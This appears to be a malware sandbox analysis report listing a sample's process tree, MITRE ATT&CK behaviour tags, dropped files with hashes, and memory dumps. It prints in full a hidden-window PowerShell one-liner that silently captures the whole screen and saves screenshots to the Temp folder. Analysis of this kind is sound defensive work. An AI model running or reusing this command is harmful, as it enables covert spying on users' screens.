                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283340094.png\"); $g.Dispose(); $bmp.Dispose()""
                                  2⤵
                                  • Hide Artifacts: Hidden Window
                                  • Suspicious use of WriteProcessMemory
                                  PID:1444
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283340094.png\"); $g.Dispose(); $bmp.Dispose()"
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3208

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 1668333a22d5f968c87eda22df0483755c7acacb2129c8b4d759154ffca2887e
                                    • MD5 SHA1 SHA512 TLSH

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 fad2839203f4837ab081f6c35ca3f4401806f231a802d0bf48ad56104b3a7a74
                                    • MD5 SHA1 SHA512 TLSH

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 1dc014ae71bae56db839e125468e8d693a4b569e68debde951499621335b231b
                                    • MD5 SHA1 SHA512 TLSH

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                                    • MD5 SHA1 SHA512 TLSH

                                    __PSScriptPolicyTest_tkyrzvnv.0sr.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tkyrzvnv.0sr.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    scr_1783283297264.png

                                    • Path C:\Users\Admin\AppData\Local\Temp\scr_1783283297264.png
                                    • Size 539KB
                                    • SHA256 fbec912dcfa6656590259cd15b2c73774316fb74389bd0bf5755f80c6771a164
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    scr_1783283298651.png

                                    • Path C:\Users\Admin\AppData\Local\Temp\scr_1783283298651.png
                                    • Size 539KB
                                    • SHA256 5c31ddae1955497f47f5a6caaea7ecf2bda10d60fbb18949cb4b32aa5e154521
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    scr_1783283340094.png

                                    • Path C:\Users\Admin\AppData\Local\Temp\scr_1783283340094.png
                                    • Size 538KB
                                    • SHA256 67d3a839e79321a868a19be56ad7381b3644d238f46685cad8322ff64bb497ee
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    wmi_e31ab809.vbs

                                    • Path C:\Users\Admin\AppData\Local\Temp\wmi_e31ab809.vbs
                                    • Size 1KB
                                    • SHA256 6319300627e46f7ccd725b55eba83b7f6bc26b133e154289af235470d61182e4
                                    • MD5 SHA1 SHA512 TLSH

                                    default.exc

                                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
                                    • Size 2B
                                    • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                    • MD5 SHA1 SHA512

                                    Network Persistent State

                                    • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
                                    • Size 300B
                                    • SHA256 1ab3d1e530d8f085698eaa13b2f283ea770033fb5ca443330e03f1817783f1c8
                                    • MD5 SHA1 SHA512 TLSH

                                    Network Persistent State~RFe59e788.TMP

                                    • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State~RFe59e788.TMP
                                    • Size 59B
                                    • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                                    • MD5 SHA1 SHA512 TLSH

                                    memory/2444-48-0x000001D6F98D0000-0x000001D6F98F2000-memory.dmp

                                    memory/2688-70-0x000002267EFB0000-0x000002267EFBA000-memory.dmp

                                    memory/2688-69-0x000002267EFF0000-0x000002267F0A2000-memory.dmp

                                    memory/2688-68-0x000002267EF70000-0x000002267EF8E000-memory.dmp

                                    memory/5780-109-0x00000177E8320000-0x00000177E83D2000-memory.dmp